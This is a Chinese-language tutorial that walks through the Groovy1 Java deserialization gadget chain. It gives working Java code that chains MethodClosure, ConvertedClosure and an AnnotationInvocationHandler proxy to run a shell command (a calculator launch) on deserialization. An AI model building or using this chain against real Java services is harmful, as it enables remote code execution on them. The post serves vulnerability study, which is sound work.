Groovy 是一种基于 JVM 的开发语言,具有类似于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后生成 .class 文件,与 Java 编译生成的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以使用 groovy-all。本条利用 Gadget 就是在 groovy 核心包中。
前置知识
MethodClosure
org.codehaus.groovy.runtime.MethodClosure 是方法闭包,使用闭包代表了一个对象的一个方法,可以很方便的调用。
MethodClosure 初始化时接收两个参数,一个是对象,一个是对象的方法名称。
先看一下它的构造方法
可以看到MethodClosure 中有一个 doCall 方法,调用 InvokerHelper.invokeMethod() 方法进行方法调用。
那么我们执行命令可以使用其它方法,例如1123
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Groovy1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(),"exec");
Method method = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
method.setAccessible(true);
method.invoke(mc,"open -a Calculator.app");
}
}
首先使用MethodClosure获取到Runtime.getRuntime()的exec的方法,然后获取doCall方法,因为doCall方法是protected方法,所以需要修改一下作用域。
String.execute() 方法
Groovy 为 String 类型添加了 execute() 方法,以便执行 shell 命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接使用 "ls".execute() 这种方法来执行系统命令 “ls”。
import org.codehaus.groovy.runtime.MethodClosure;
public class Groovy1 {
public static void main(String[] args) {
MethodClosure methodClosure = new MethodClosure("open -a Calculator.app", "execute");
methodClosure.call();
}
}
查看一下函数调用过程,直接在call函数处下断点,然后持续跟进
然后到
最后到最终
继续跟进的话会发现会来到如下,进而可以进行命令执行了。
ConvertedClosure
org.codehaus.groovy.runtime.ConvertedClosure 是一个通用适配器,用于将闭包适配到 Java 接口。ConvertedClosure 实现了 ConversionHandler 类,而 ConversionHandler 又实现了 InvocationHandler。所以说 ConvertedClosure 本身就是一个动态代理类。
ConvertedClosure 的构造方法接收一个 Closure 对象和一个 String 类型的 method 方法名,也就是说 ConvertedClosure 会代理这个 Closure 对象,当调用其 method 方法时,将会调用 ConvertedClosure 父类的 invoke 方法,除了 toString 和一些默认方法外,会调用 invokeCustom 方法。
如果初始化时指定的 method 与 invokeCustom 指定的 method 参数相同,则 invokeCustom 方法将会调用代理对象 Closure 的 call 方法执行传入参数执行。
Groovy1利用过程
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Map;
public class Groovy1 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
MethodClosure methodClosure = new MethodClosure("open -a Calculator.app", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
new Class[]{Map.class}, closure);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(invocationHandler);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
过程学习:
MethodClosure methodClosure = new MethodClosure("open -a Calculator.app", "execute");
可以看到我们将要执行的命令传给了MethodClosure的父类来处理,将“execute”赋值给了MethodClosure.method属性。然后紧接着跟到Closure的构造方法中看到命令被赋值给了Closure.owner和Closure.delegate属性,之所以讲这些赋值过程是因为后面都会用得到。
然后是
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
接下来payload中又实例化了另一个对象并将刚才实例化的MethodClosure对象和一个字符串常量“entrySet”传入,我们同样继续跟进。
字符串常量被赋值给ConvertedClosure.methodName属性。
然后是创建动态代理对象
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(),
new Class[]{Map.class}, closure);
会调用对应的ConversionHandler对象,其中会调用invokeCustom
然后会执行对应的invokeCustom方法,
首先看一下this.methodNam就是ConvertedClosure.methodName,也就是我们传入的字符串entrySet,entryset和ethod.getName()不相同就返回null,否则就执行后面((Closure)this.getDelegate()).call(args)这一串。
通过调试可以看到,因为我们输入的参数为 ConvertedClosure(methodClosure, "entrySet");那么这里的this.methodName就应该等于method.getName(),于是会进入后面的call函数
在进入call函数之前还会调用getDelegate方法,就是前面我们传入的methodClosure对象,然后强制转换为Closure类型,调用Closure.call方法。
然后继续跟进call函数,
进入getMetaClass方法,我们可以看到this.getMetaClass()调用了父类的getMetaClass()方法,也就是调用了GroovyObjectSupport.getMetaClass()方法,返回的是一个MetaClassImpl对象
然后继续进入,
既然返回了MetaClassImpl对象,也就是调用了MetaClassImpl.ivoke()方法。